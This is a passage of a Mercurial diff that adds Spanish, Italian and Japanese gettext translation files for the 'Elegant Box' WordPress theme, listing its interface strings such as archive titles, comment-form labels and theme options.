+msgstr "" + +#: sidebar.php:34 +msgid "Switch to " +msgstr "" + +#: single.php:32 +msgid "Leave a comment" +msgstr "" + +#: single.php:34 +msgid "Trackback" +msgstr "" + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/languages/es_ES.mo Binary file web/wp-content/themes/elegant-box/languages/es_ES.mo has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/languages/es_ES.po --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/elegant-box/languages/es_ES.po Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,514 @@ +msgid "" +msgstr "" +"Project-Id-Version: Elegant Box 4.0\n" +"Report-Msgid-Bugs-To: \n" +"POT-Creation-Date: 2009-05-06 21:02+0800\n" +"PO-Revision-Date: \n" +"Last-Translator: Eugenio\n" +"Language-Team: \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Poedit-Language: Chinese\n" +"X-Poedit-Country: CHINA\n" +"X-Poedit-SourceCharset: utf-8\n" +"X-Poedit-KeywordsList: _e;__\n" +"X-Poedit-Basepath: ..\n" +"X-Poedit-SearchPath-0: .\n" + +#: 404.php:7 +msgid "Error 404 - Not Found" +msgstr "Error 404 - No encontrado" + +#: archive.php:16 +msgid "Search Results" +msgstr "Resultados de la búsqueda" + +#: archive.php:20 +#, php-format +msgid "Archive for the ‘%1$s’ Category" +msgstr "Archivo para la categoría ‘%1$s’" + +#: archive.php:23 +#, php-format +msgid "Posts Tagged ‘%1$s’" +msgstr "Entradas etiquetadas con ‘%1$s’" + +#: archive.php:26 +#: archive.php:29 +#: archive.php:32 +#, php-format +msgid "Archive for %1$s" +msgstr "Archivo para %1$s" + +#: archive.php:26 +#: archives.php:17 +#: comments.php:63 +#: functions.php:472 +#: index.php:33 +#: links.php:20 +#: page.php:11 +#: single.php:15 +msgid "F jS, Y" +msgstr "l, j \\d\\e F, Y" + +#: archive.php:29 +msgid "F, Y" +msgstr "F, Y" + +#: archive.php:32 +msgid "Y" +msgstr "Y" + +#: archive.php:35 +msgid "Author Archive" +msgstr "Archivo del autor" + +#: archive.php:38 +msgid "Blog Archives" +msgstr "Archivos del blog" + +#: archive.php:53 +#: comments.php:63 +#: functions.php:472 +#, php-format +msgid "%1$s at %2$s" +msgstr "%1$s a las %2$s" + +#: archive.php:53 +msgid "l, F jS, Y" +msgstr "l, j \\d\\e F \\d\\e Y," + +#: archive.php:53 +#: comments.php:63 +#: functions.php:472 +msgid "H:i" +msgstr "H:i" + +#: archive.php:53 +#: index.php:50 +msgid "0 comments" +msgstr "0 comentarios" + +#: archive.php:53 +#: index.php:50 +msgid "1 comment" +msgstr "1 comentario" + +#: archive.php:53 +#: index.php:50 +#, php-format +msgid "% comments" +msgstr "% comentarios" + +#: archive.php:53 +#: archives.php:16 +#: comments.php:68 +#: comments.php:111 +#: functions.php:481 +#: index.php:31 +#: links.php:16 +#: page.php:10 +#: single.php:13 +msgid "Edit" +msgstr "Editar" + +#: archive.php:54 +msgid "Categories: " +msgstr "Categorías: " + +#: archive.php:55 +msgid "Tags: " +msgstr "Etiquetas: " + +#: archive.php:62 +#: archives.php:45 +#: index.php:61 +#: links.php:44 +#: page.php:32 +#: single.php:61 +msgid "Sorry, no posts matched your criteria." +msgstr "Lo siento, no existen entradas que coincidan con el criterio." + +#: archive.php:83 +#: index.php:78 +msgid "« Newer Entries" +msgstr "« Entradas más recientes" + +#: archive.php:84 +#: index.php:79 +msgid "Older Entries »" +msgstr "Entradas más antiguas »" + +#: archives.php:17 +#: links.php:20 +#: page.php:11 +msgid "Update: " +msgstr "Actualizado: " + +#: comments.php:10 +msgid "Enter your password to view comments." +msgstr "Escriba su contraseña para ver los comentarios." + +#: comments.php:66 +#: functions.php:476 +#: functions.php:478 +msgid "Reply" +msgstr "Responder" + +#: comments.php:67 +#: functions.php:480 +msgid "Quote" +msgstr "Citar" + +#: comments.php:75 +#: functions.php:488 +msgid "Your comment is awaiting moderation." +msgstr "Tu comentario será revisado antes de publicarse." + +#: comments.php:97 +msgid " trackbacks" +msgstr " trackbacks" + +#: comments.php:100 +msgid "Show" +msgstr "Mostrar" + +#: comments.php:101 +msgid "Hide" +msgstr "Ocultar" + +#: comments.php:130 +msgid "Comment pages" +msgstr "Páginas de comentarios" + +#: comments.php:145 +msgid "No comments yet." +msgstr "Sin comentarios." + +#: comments.php:154 +msgid "Comments are closed." +msgstr "Comentarios cerrados" + +#: comments.php:168 +#, php-format +msgid "You must be logged in to post a comment." +msgstr "Debes estar registrado para enviar un comentario." + +#: comments.php:188 +msgid "Logged in as" +msgstr "Identificado como" + +#: comments.php:189 +msgid "Log out of this account" +msgstr "Cerrar sesión" + +#: comments.php:189 +msgid "Logout »" +msgstr "Desconectar »" + +#: comments.php:196 +#, php-format +msgid "Welcome back %s." +msgstr "Bienvenido de nuevo %s." + +#: comments.php:197 +msgid "Change »" +msgstr "Cambiar »" + +#: comments.php:198 +msgid "Close »" +msgstr "Cerrar »" + +#: comments.php:205 +msgid "Name" +msgstr "Nombre" + +#: comments.php:205 +#: comments.php:209 +msgid "(required)" +msgstr "(requerido)" + +#: comments.php:209 +msgid "E-Mail (will not be published)" +msgstr "E-Mail (no será publicado)" + +#: comments.php:213 +msgid "Website" +msgstr "Página Web" + +#: comments.php:232 +msgid "Subscribe to comments feed" +msgstr "Suscribirse a los comentarios" + +#: comments.php:238 +msgid "Cancel" +msgstr "Cancelar" + +#: comments.php:240 +msgid "Submit Comment" +msgstr "Enviar comentario" + +#: footer.php:2 +msgid "TOP" +msgstr "Arriba" + +#: footer.php:22 +msgid "Copyright © " +msgstr "Copyright © " + +#: footer.php:31 +msgid " | Powered by WordPress" +msgstr " | Gestionado con WordPress" + +#: footer.php:32 +msgid " | Theme by NeoEase" +msgstr " | Tema por NeoEase" + +#: functions.php:143 +#: functions.php:163 +msgid "Current Theme Options" +msgstr "Opciones del tema actual" + +#: functions.php:168 +msgid "Style" +msgstr "Estilo" + +#: functions.php:172 +msgid "Allow visitors to change the style." +msgstr "Permitir a los visitantes cambiar el estilo." + +#: functions.php:175 +msgid "Default style:" +msgstr "Estilo por defecto:" + +#: functions.php:188 +msgid "Please install a valid style in the /styles/ folder." +msgstr "Por favor, instala un estilo válido en el directorio /styles/" + +#: functions.php:200 +msgid "Search" +msgstr "Buscar" + +#: functions.php:204 +msgid "Using google custom search engine." +msgstr "Usando el motor de búsqueda personalizado de Google." + +#: functions.php:207 +msgid "CX:" +msgstr "CX:" + +#: functions.php:210 +msgid "Find name=\"cx\" in the Search box code of Google Custom Search Engine, and type the value here.
    For example: 014782006753236413342:1ltfrybsbz4" +msgstr "Buscar name=\"cx\" en la Search box code de Google Custom Search Engine, y escribe el valor aquí.
    Por ejemplo: 014782006753236413342:1ltfrybsbz4" + +#: functions.php:219 +msgid "Menubar" +msgstr "Barra de menu" + +#: functions.php:223 +msgid "Show pages as menu." +msgstr "Mostrar las páginas como un menu." + +#: functions.php:227 +msgid "Show categories as menu." +msgstr "Mostrar las categorías como un menu." + +#: functions.php:238 +msgid "Notice" +msgstr "Letrero" + +#: functions.php:240 +#: functions.php:266 +msgid "HTML enabled" +msgstr "HTML activado" + +#: functions.php:245 +msgid "Show notice." +msgstr "Mostrar letrero." + +#: functions.php:249 +msgid "Display an icon in the notice bar." +msgstr "Mostrar un icono en la barra del letrero." + +#: functions.php:264 +msgid "Showcase" +msgstr "Showcase" + +#: functions.php:271 +msgid "This showcase will display at the top of sidebar." +msgstr "Este showcase se mostrará al inicio de la barra lateral." + +#: functions.php:273 +#: functions.php:297 +msgid "Who can see?" +msgstr "¿Quién puede verlo?" + +#: functions.php:276 +#: functions.php:300 +msgid "Registered Users" +msgstr "Usuarios registrados" + +#: functions.php:280 +#: functions.php:304 +msgid "Commentators" +msgstr "Comentaristas" + +#: functions.php:284 +#: functions.php:308 +msgid "Visitors" +msgstr "Visitantes" + +#: functions.php:295 +msgid "This showcase will display at the bottom of sidebar." +msgstr "Este showcase se mostrará al final de la barra lateral." + +#: functions.php:324 +msgid "Posts" +msgstr "Entradas" + +#: functions.php:328 +msgid "Show categories on posts." +msgstr "Mostrar categorías en las entradas." + +#: functions.php:332 +msgid "Show tags on posts." +msgstr "Mostrar etiquetas en las entradas." + +#: functions.php:342 +msgid "Comments" +msgstr "Comentarios" + +#: functions.php:346 +msgid "Submit comments with Ctrl+Enter." +msgstr "Enviar comentarios con Ctrl+Enter." + +#: functions.php:356 +msgid "Feed" +msgstr "Feed" + +#: functions.php:360 +msgid "Using custom feed." +msgstr "Usando un feed personalizado." + +#: functions.php:362 +msgid "Feed URL:" +msgstr "Feed URL:" + +#: functions.php:367 +msgid "Show the feed reader list when mouse over on feed button." +msgstr "Mostrar un listado con los feeds cuando el ratón sobrepase el botón." + +#: functions.php:375 +msgid "Save Changes" +msgstr "Guardar cambios" + +#: header.php:26 +msgid "RSS 2.0 - all posts" +msgstr "RSS 2.0 - todas las entradas" + +#: header.php:27 +msgid "RSS 2.0 - all comments" +msgstr "RSS 2.0 - todos los comentarios" + +#: header.php:122 +#: header.php:124 +#: header.php:127 +#: header.php:133 +#: header.php:135 +msgid "Type text to search here..." +msgstr "Escribe el texto a buscar aquí" + +#: header.php:144 +msgid "Home" +msgstr "Inicio" + +#: header.php:153 +msgid "Subscribe to this blog..." +msgstr "Suscribirse a este blog..." + +#: header.php:153 +msgid "RSS feed" +msgstr "RSS feed" + +#: header.php:156 +#: header.php:157 +#: header.php:158 +#: header.php:159 +#: header.php:160 +#: header.php:161 +#: header.php:162 +#: header.php:163 +msgid "Subscribe with " +msgstr "Suscribir con" + +#: header.php:156 +msgid "Youdao" +msgstr "Youdao" + +#: header.php:157 +msgid "Xian Guo" +msgstr "Xian Guo" + +#: header.php:158 +msgid "Zhua Xia" +msgstr "Zhua Xia" + +#: header.php:159 +msgid "Google" +msgstr "Google" + +#: header.php:160 +msgid "My Yahoo!" +msgstr "My Yahoo!" + +#: header.php:161 +msgid "newsgator" +msgstr "newsgator" + +#: header.php:162 +msgid "Bloglines" +msgstr "Bloglines" + +#: header.php:163 +msgid "iNezha" +msgstr "iNezha" + +#: index.php:35 +#: single.php:17 +msgid " | Categories: " +msgstr " | Categorías: " + +#: index.php:38 +#: single.php:20 +msgid " | Tags: " +msgstr " | Etiquetas: " + +#: index.php:45 +msgid "Read more..." +msgstr "Continuar leyendo..." + +#: links.php:18 +msgid "Edit links" +msgstr "Editar enlaces" + +#: links.php:24 +msgid "Blogroll" +msgstr "Blogroll" + +#: sidebar.php:28 +msgid "Theme Styles : " +msgstr "Estilos del tema : " + +#: sidebar.php:34 +msgid "Switch to " +msgstr "Cambiar a " + +#: single.php:32 +msgid "Leave a comment" +msgstr "Deja un comentario" + +#: single.php:34 +msgid "Trackback" +msgstr "Seguimiento" + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/languages/it_IT.mo Binary file web/wp-content/themes/elegant-box/languages/it_IT.mo has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/languages/it_IT.po --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/elegant-box/languages/it_IT.po Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,527 @@ +msgid "" +msgstr "" +"Project-Id-Version: Elegant Box 4.0\n" +"Report-Msgid-Bugs-To: \n" +"POT-Creation-Date: 2009-05-06 21:01+0800\n" +"PO-Revision-Date: \n" +"Last-Translator: Gianni Diurno (aka gidibao) \n" +"Language-Team: Gianni Diurno | http://gidibao.net/ \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Poedit-Language: Italian\n" +"X-Poedit-Country: ITALY\n" +"X-Poedit-SourceCharset: utf-8\n" +"X-Poedit-KeywordsList: _e;__\n" +"X-Poedit-Basepath: D:\\workspace\\php\\blog\\wp-content\\themes\\elegantbox\n" +"X-Poedit-SearchPath-0: .\n" + +#: 404.php:7 +msgid "Error 404 - Not Found" +msgstr "Errore 404 - Non Trovato" + +#: archive.php:16 +msgid "Search Results" +msgstr "Risultati della ricerca" + +#: archive.php:20 +#, php-format +msgid "Archive for the ‘%1$s’ Category" +msgstr "Archivio per la categoria ‘%1$s’" + +#: archive.php:23 +#, php-format +msgid "Posts Tagged ‘%1$s’" +msgstr "Posts Tagged ‘%1$s’" + +#: archive.php:26 +#: archive.php:29 +#: archive.php:32 +#, php-format +msgid "Archive for %1$s" +msgstr "Archivio per %1$s" + +#: archive.php:26 +#: archives.php:17 +#: comments.php:63 +#: functions.php:472 +#: index.php:33 +#: links.php:20 +#: page.php:11 +#: single.php:15 +msgid "F jS, Y" +msgstr "j F Y" + +#: archive.php:29 +msgid "F, Y" +msgstr "F Y" + +#: archive.php:32 +msgid "Y" +msgstr "Y" + +#: archive.php:35 +msgid "Author Archive" +msgstr "Archivio autore" + +#: archive.php:38 +msgid "Blog Archives" +msgstr "Archivi del blog" + +#: archive.php:53 +#: comments.php:63 +#: functions.php:472 +#, php-format +msgid "%1$s at %2$s" +msgstr "%1$s a %2$s" + +#: archive.php:53 +msgid "l, F jS, Y" +msgstr "l, j F Y" + +#: archive.php:53 +#: comments.php:63 +#: functions.php:472 +msgid "H:i" +msgstr "G:i" + +#: archive.php:53 +#: index.php:50 +msgid "0 comments" +msgstr "Nessun commento" + +#: archive.php:53 +#: index.php:50 +msgid "1 comment" +msgstr "1 commento" + +#: archive.php:53 +#: index.php:50 +#, php-format +msgid "% comments" +msgstr "% commenti" + +#: archive.php:53 +#: archives.php:16 +#: comments.php:68 +#: comments.php:111 +#: functions.php:481 +#: index.php:31 +#: links.php:16 +#: page.php:10 +#: single.php:13 +msgid "Edit" +msgstr "Modifica" + +#: archive.php:54 +msgid "Categories: " +msgstr "Categorie:" + +#: archive.php:55 +msgid "Tags: " +msgstr "Tags: " + +#: archive.php:62 +#: archives.php:45 +#: index.php:61 +#: links.php:44 +#: page.php:32 +#: single.php:61 +msgid "Sorry, no posts matched your criteria." +msgstr "Mi spiace, nessun articolo corrisponde alla tua richiesta." + +#: archive.php:83 +#: index.php:78 +msgid "« Newer Entries" +msgstr "« Articoli recenti" + +#: archive.php:84 +#: index.php:79 +msgid "Older Entries »" +msgstr "Articoli precedenti »" + +#: archives.php:17 +#: links.php:20 +#: page.php:11 +msgid "Update: " +msgstr "Aggiorna:" + +#: comments.php:10 +msgid "Enter your password to view comments." +msgstr "Inserisci la tua password per poter vedere i commenti." + +#: comments.php:66 +#: functions.php:476 +#: functions.php:478 +msgid "Reply" +msgstr "Rispondi" + +#: comments.php:67 +#: functions.php:480 +msgid "Quote" +msgstr "Cita" + +#: comments.php:75 +#: functions.php:488 +msgid "Your comment is awaiting moderation." +msgstr "Il tuo commento é in attesa di poter essere moderato." + +#: comments.php:97 +msgid " trackbacks" +msgstr " trackbacks" + +#: comments.php:100 +msgid "Show" +msgstr "Mostra" + +#: comments.php:101 +msgid "Hide" +msgstr "Nascondi" + +#: comments.php:130 +msgid "Comment pages" +msgstr "Pagine commento" + +#: comments.php:145 +msgid "No comments yet." +msgstr "Nessun commento ancora..." + +#: comments.php:154 +msgid "Comments are closed." +msgstr "I commenti sono chiusi." + +#: comments.php:168 +#, php-format +msgid "You must be logged in to post a comment." +msgstr "E' necessario che tu sia collegato per poter inserire un commento." + +#: comments.php:188 +msgid "Logged in as" +msgstr "Collegato a nome" + +#: comments.php:189 +msgid "Log out of this account" +msgstr "Esci da questo account" + +#: comments.php:189 +msgid "Logout »" +msgstr "Esci »" + +#: comments.php:196 +#, php-format +msgid "Welcome back %s." +msgstr "Bentornato %s." + +#: comments.php:197 +msgid "Change »" +msgstr "Cambia »" + +#: comments.php:198 +msgid "Close »" +msgstr "Chiudi »" + +#: comments.php:205 +msgid "Name" +msgstr "Nome" + +#: comments.php:205 +#: comments.php:209 +msgid "(required)" +msgstr "(richiesto)" + +#: comments.php:209 +msgid "E-Mail (will not be published)" +msgstr "E-Mail (non verrà diffusa)" + +#: comments.php:213 +msgid "Website" +msgstr "Sito web" + +#: comments.php:232 +msgid "Subscribe to comments feed" +msgstr "Abbonati al feed dei commenti" + +#: comments.php:238 +msgid "Cancel" +msgstr "Cancella" + +#: comments.php:240 +msgid "Submit Comment" +msgstr "Inserisci il commento" + +#: footer.php:2 +msgid "TOP" +msgstr "Vai su" + +#: footer.php:22 +msgid "Copyright © " +msgstr "Copyright © " + +#: footer.php:31 +msgid " | Powered by WordPress" +msgstr " | Powered by WordPress" + +#: footer.php:32 +msgid " | Theme by NeoEase" +msgstr " | Tema di NeoEase" + +#: functions.php:143 +#: functions.php:163 +msgid "Current Theme Options" +msgstr "Opzioni tema in uso" + +#: functions.php:168 +msgid "Style" +msgstr "Stile" + +#: functions.php:172 +msgid "Allow visitors to change the style." +msgstr "Permetti agli utenti di poter modificare lo stile." + +#: functions.php:175 +msgid "Default style:" +msgstr "Stile predefinito:" + +#: functions.php:188 +msgid "Please install a valid style in the /styles/ folder." +msgstr "Installa nella cartella /styles/ uno stile che sia valido." + +#: functions.php:200 +msgid "Search" +msgstr "Ricerca" + +#: functions.php:204 +msgid "Using google custom search engine." +msgstr "Usa il motore di ricerca personalizzato di Google." + +#: functions.php:207 +msgid "CX:" +msgstr "CX:" + +#: functions.php:210 +msgid "Find name=\"cx\" in the Search box code of Google Custom Search Engine, and type the value here.
    For example: 014782006753236413342:1ltfrybsbz4" +msgstr "Trova il name=\"cx\" nel codice Search box del Google Custom Search Engine ed inserisci qui il valore.
    Ad esempio: 014782006753236413342:1ltfrybsbz4" + +#: functions.php:219 +msgid "Menubar" +msgstr "Barra del menu" + +#: functions.php:223 +msgid "Show pages as menu." +msgstr "Mostra le pagine come menu." + +#: functions.php:227 +msgid "Show categories as menu." +msgstr "Mostra le categorie come menu." + +#: functions.php:238 +msgid "Notice" +msgstr "Avviso" + +#: functions.php:240 +#: functions.php:266 +msgid "HTML enabled" +msgstr "HTML abilitato" + +#: functions.php:245 +msgid "Show notice." +msgstr "Mostra l'avviso." + +#: functions.php:249 +msgid "Display an icon in the notice bar." +msgstr "Mostra una icona nella barra dell'avviso." + +#: functions.php:264 +msgid "Showcase" +msgstr "Vetrina" + +#: functions.php:271 +msgid "This showcase will display at the top of sidebar." +msgstr "Questa bacheca verrà mostrata in cima alla sidebar." + +#: functions.php:273 +#: functions.php:297 +msgid "Who can see?" +msgstr "Per chi sarà visibile?" + +#: functions.php:276 +#: functions.php:300 +msgid "Registered Users" +msgstr "Utenti registrati" + +#: functions.php:280 +#: functions.php:304 +msgid "Commentators" +msgstr "Commentatori" + +#: functions.php:284 +#: functions.php:308 +msgid "Visitors" +msgstr "Visitatori" + +#: functions.php:295 +msgid "This showcase will display at the bottom of sidebar." +msgstr "Questa bacheca verrà mostrata in fondo alla sidebar." + +#: functions.php:324 +msgid "Posts" +msgstr "Articoli" + +#: functions.php:328 +msgid "Show categories on posts." +msgstr "Mostra le categorie negli articoli." + +#: functions.php:332 +msgid "Show tags on posts." +msgstr "Mostra i tag negli articoli." + +#: functions.php:342 +msgid "Comments" +msgstr "Commenti" + +#: functions.php:346 +msgid "Submit comments with Ctrl+Enter." +msgstr "Invia i commenti con Ctrl+Invio" + +#: functions.php:356 +msgid "Feed" +msgstr "Feed" + +#: functions.php:360 +msgid "Using custom feed." +msgstr "Utilizza fedd personalizzato." + +#: functions.php:362 +msgid "Feed URL:" +msgstr "URL del feed:" + +#: functions.php:367 +msgid "Show the feed reader list when mouse over on feed button." +msgstr "Mostra allo scorrere del mouse sul pulsante la lista degli abbonati al feed." + +#: functions.php:375 +msgid "Save Changes" +msgstr "Salva le modifiche" + +#: header.php:26 +msgid "RSS 2.0 - all posts" +msgstr "RSS 2.0 - articoli" + +#: header.php:27 +msgid "RSS 2.0 - all comments" +msgstr "RSS 2.0 - commenti" + +#: header.php:122 +#: header.php:124 +#: header.php:127 +#: header.php:133 +#: header.php:135 +msgid "Type text to search here..." +msgstr "Inserisci il termine di ricerca..." + +#: header.php:144 +msgid "Home" +msgstr "Home" + +#: header.php:153 +msgid "Subscribe to this blog..." +msgstr "Abbonati a questo blog..." + +#: header.php:153 +msgid "RSS feed" +msgstr "Feed RSS" + +#: header.php:156 +#: header.php:157 +#: header.php:158 +#: header.php:159 +#: header.php:160 +#: header.php:161 +#: header.php:162 +#: header.php:163 +msgid "Subscribe with " +msgstr "Abbonati con" + +#: header.php:156 +msgid "Youdao" +msgstr "Youdao" + +#: header.php:157 +msgid "Xian Guo" +msgstr "Xian Guo" + +#: header.php:158 +msgid "Zhua Xia" +msgstr "Zhua Xia" + +#: header.php:159 +msgid "Google" +msgstr "Google" + +#: header.php:160 +msgid "My Yahoo!" +msgstr "My Yahoo!" + +#: header.php:161 +msgid "newsgator" +msgstr "newsgator" + +#: header.php:162 +msgid "Bloglines" +msgstr "Bloglines" + +#: header.php:163 +msgid "iNezha" +msgstr "iNezha" + +#: index.php:35 +#: single.php:17 +msgid " | Categories: " +msgstr " | Categorie: " + +#: index.php:38 +#: single.php:20 +msgid " | Tags: " +msgstr " | Tag: " + +#: index.php:45 +msgid "Read more..." +msgstr "Prosegui la lettura..." + +#: links.php:18 +msgid "Edit links" +msgstr "Modifica link" + +#: links.php:24 +msgid "Blogroll" +msgstr "Blogroll" + +#: sidebar.php:28 +msgid "Theme Styles : " +msgstr "Stili tema : " + +#: sidebar.php:34 +msgid "Switch to " +msgstr "Passa a -->" + +#: single.php:32 +msgid "Leave a comment" +msgstr "Lascia un commento" + +#: single.php:34 +msgid "Trackback" +msgstr "Trackback" + +#~ msgid "Meta" +#~ msgstr "Meta" +#~ msgid "Description:" +#~ msgstr "Descrizione:" +#~ msgid "Keywords:" +#~ msgstr "Keywords:" +#~ msgid "( Separate keywords with commas )" +#~ msgstr "( Separa le parole chiave con una virgola )" +#~ msgid "Categories & Tags" +#~ msgstr "Categorie & Tag" +#~ msgid "No posts found. Try a different search?" +#~ msgstr "Non é stato trovato alcun articolo. Effettua un altra ricerca..." + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/languages/ja.mo Binary file web/wp-content/themes/elegant-box/languages/ja.mo has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/languages/ja.po --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/elegant-box/languages/ja.po Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,514 @@ +msgid "" +msgstr "" +"Project-Id-Version: Elegant Box 4.0\n" +"Report-Msgid-Bugs-To: \n" +"POT-Creation-Date: 2009-05-06 21:03+0800\n" +"PO-Revision-Date: \n" +"Last-Translator: mg12 \n" +"Language-Team: \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Poedit-Language: Japanese\n" +"X-Poedit-Country: JAPAN\n" +"X-Poedit-SourceCharset: utf-8\n" +"X-Poedit-KeywordsList: _e;__\n" +"X-Poedit-Basepath: ..\n" +"X-Poedit-SearchPath-0: .\n" + +#: 404.php:7 +msgid "Error 404 - Not Found" +msgstr "Error 404 - Not Found" + +#: archive.php:16 +msgid "Search Results" +msgstr "æ¤œç´¢çµæžœ" + +#: archive.php:20 +#, php-format +msgid "Archive for the ‘%1$s’ Category" +msgstr "‘%1$s’ カテゴリーã®ã‚¢ãƒ¼ã‚«ã‚¤ãƒ–" + +#: archive.php:23 +#, php-format +msgid "Posts Tagged ‘%1$s’" +msgstr "‘%1$s’ ã‚¿ã‚°ã®ã¤ã„ã¦ã„る投稿" + +#: archive.php:26 +#: archive.php:29 +#: archive.php:32 +#, php-format +msgid "Archive for %1$s" +msgstr "%1$s ã®ã‚¢ãƒ¼ã‚«ã‚¤ãƒ–" + +#: archive.php:26 +#: archives.php:17 +#: comments.php:63 +#: functions.php:472 +#: index.php:33 +#: links.php:20 +#: page.php:11 +#: single.php:15 +msgid "F jS, Y" +msgstr "Y å¹´ n 月 j æ—¥" + +#: archive.php:29 +msgid "F, Y" +msgstr "Y å¹´ n 月" + +#: archive.php:32 +msgid "Y" +msgstr "Y å¹´" + +#: archive.php:35 +msgid "Author Archive" +msgstr "投稿者ã®ã‚¢ãƒ¼ã‚«ã‚¤ãƒ–" + +#: archive.php:38 +msgid "Blog Archives" +msgstr "ブログアーカイブ" + +#: archive.php:53 +#: comments.php:63 +#: functions.php:472 +#, php-format +msgid "%1$s at %2$s" +msgstr "%1$s %2$s" + +#: archive.php:53 +msgid "l, F jS, Y" +msgstr "Y å¹´ n 月 j æ—¥" + +#: archive.php:53 +#: comments.php:63 +#: functions.php:472 +msgid "H:i" +msgstr "H:i" + +#: archive.php:53 +#: index.php:50 +msgid "0 comments" +msgstr "コメントã¯ã‚りã¾ã›ã‚“" + +#: archive.php:53 +#: index.php:50 +msgid "1 comment" +msgstr "コメント 1 ä»¶" + +#: archive.php:53 +#: index.php:50 +#, php-format +msgid "% comments" +msgstr "コメント % ä»¶" + +#: archive.php:53 +#: archives.php:16 +#: comments.php:68 +#: comments.php:111 +#: functions.php:481 +#: index.php:31 +#: links.php:16 +#: page.php:10 +#: single.php:13 +msgid "Edit" +msgstr "編集" + +#: archive.php:54 +msgid "Categories: " +msgstr "カテゴリー: " + +#: archive.php:55 +msgid "Tags: " +msgstr "ã‚¿ã‚°: " + +#: archive.php:62 +#: archives.php:45 +#: index.php:61 +#: links.php:44 +#: page.php:32 +#: single.php:61 +msgid "Sorry, no posts matched your criteria." +msgstr "該当ã™ã‚‹æŠ•稿ã¯è¦‹ã¤ã‹ã‚Šã¾ã›ã‚“ã§ã—ãŸã€‚" + +#: archive.php:83 +#: index.php:78 +msgid "« Newer Entries" +msgstr "æ–°ã—ã„æŠ•ç¨¿" + +#: archive.php:84 +#: index.php:79 +msgid "Older Entries »" +msgstr "以å‰ã®æŠ•稿" + +#: archives.php:17 +#: links.php:20 +#: page.php:11 +msgid "Update: " +msgstr "アップデート: " + +#: comments.php:10 +msgid "Enter your password to view comments." +msgstr "ã“ã®æŠ•ç¨¿ã¯ãƒ‘スワードã§ä¿è­·ã•れã¦ã„ã¾ã™ã€‚コメントを閲覧ã™ã‚‹ã«ã¯ãƒ‘スワードを入力ã—ã¦ãã ã•ã„。" + +#: comments.php:66 +#: functions.php:476 +#: functions.php:478 +msgid "Reply" +msgstr "返信" + +#: comments.php:67 +#: functions.php:480 +msgid "Quote" +msgstr "引用" + +#: comments.php:75 +#: functions.php:488 +msgid "Your comment is awaiting moderation." +msgstr "ã‚ãªãŸã®ã‚³ãƒ¡ãƒ³ãƒˆã¯æ‰¿èªå¾…ã¡ã«ãªã‚Šã¾ã—ãŸã€‚" + +#: comments.php:97 +msgid " trackbacks" +msgstr "トラックãƒãƒƒã‚¯" + +#: comments.php:100 +msgid "Show" +msgstr "表示ã™ã‚‹" + +#: comments.php:101 +msgid "Hide" +msgstr "éš ã™" + +#: comments.php:130 +msgid "Comment pages" +msgstr "コメントページ" + +#: comments.php:145 +msgid "No comments yet." +msgstr "コメントã¯ã¾ã ã‚りã¾ã›ã‚“。" + +#: comments.php:154 +msgid "Comments are closed." +msgstr "コメントã¯å—ã‘付ã‘ã¦ã„ã¾ã›ã‚“。" + +#: comments.php:168 +#, php-format +msgid "You must be logged in to post a comment." +msgstr "コメントを投稿ã™ã‚‹ã«ã¯ãƒ­ã‚°ã‚¤ãƒ³ã—ã¦ãã ã•ã„。" + +#: comments.php:188 +msgid "Logged in as" +msgstr "ログイン中" + +#: comments.php:189 +msgid "Log out of this account" +msgstr "ã“ã®ã‚¢ã‚«ã‚¦ãƒ³ãƒˆã‹ã‚‰ãƒ­ã‚°ã‚¢ã‚¦ãƒˆ" + +#: comments.php:189 +msgid "Logout »" +msgstr "ログアウト »" + +#: comments.php:196 +#, php-format +msgid "Welcome back %s." +msgstr "ãŠå¸°ã‚Šãªã•ã„ %s." + +#: comments.php:197 +msgid "Change »" +msgstr "変更ã™ã‚‹ »" + +#: comments.php:198 +msgid "Close »" +msgstr "é–‰ã˜ã‚‹ »" + +#: comments.php:205 +msgid "Name" +msgstr "ãŠåå‰" + +#: comments.php:205 +#: comments.php:209 +msgid "(required)" +msgstr "(å¿…é ˆ)" + +#: comments.php:209 +msgid "E-Mail (will not be published)" +msgstr "メール (公開ã•れã¾ã›ã‚“)" + +#: comments.php:213 +msgid "Website" +msgstr "ウェブサイト" + +#: comments.php:232 +msgid "Subscribe to comments feed" +msgstr "コメントフィードをRSSリーダーã§è³¼èª­ã™ã‚‹" + +#: comments.php:238 +msgid "Cancel" +msgstr "キャンセル" + +#: comments.php:240 +msgid "Submit Comment" +msgstr "コメントé€ä¿¡" + +#: footer.php:2 +msgid "TOP" +msgstr "TOP" + +#: footer.php:22 +msgid "Copyright © " +msgstr "Copyright © " + +#: footer.php:31 +msgid " | Powered by WordPress" +msgstr " | Powered by WordPress" + +#: footer.php:32 +msgid " | Theme by NeoEase" +msgstr " | Theme by NeoEase" + +#: functions.php:143 +#: functions.php:163 +msgid "Current Theme Options" +msgstr "テーマã®è¨­å®š" + +#: functions.php:168 +msgid "Style" +msgstr "スタイル" + +#: functions.php:172 +msgid "Allow visitors to change the style." +msgstr "訪å•者ã«ã‚¹ã‚¿ã‚¤ãƒ«å¤‰æ›´ã‚’許å¯ã™ã‚‹" + +#: functions.php:175 +msgid "Default style:" +msgstr "デフォルトスタイル:" + +#: functions.php:188 +msgid "Please install a valid style in the /styles/ folder." +msgstr "/styles/ 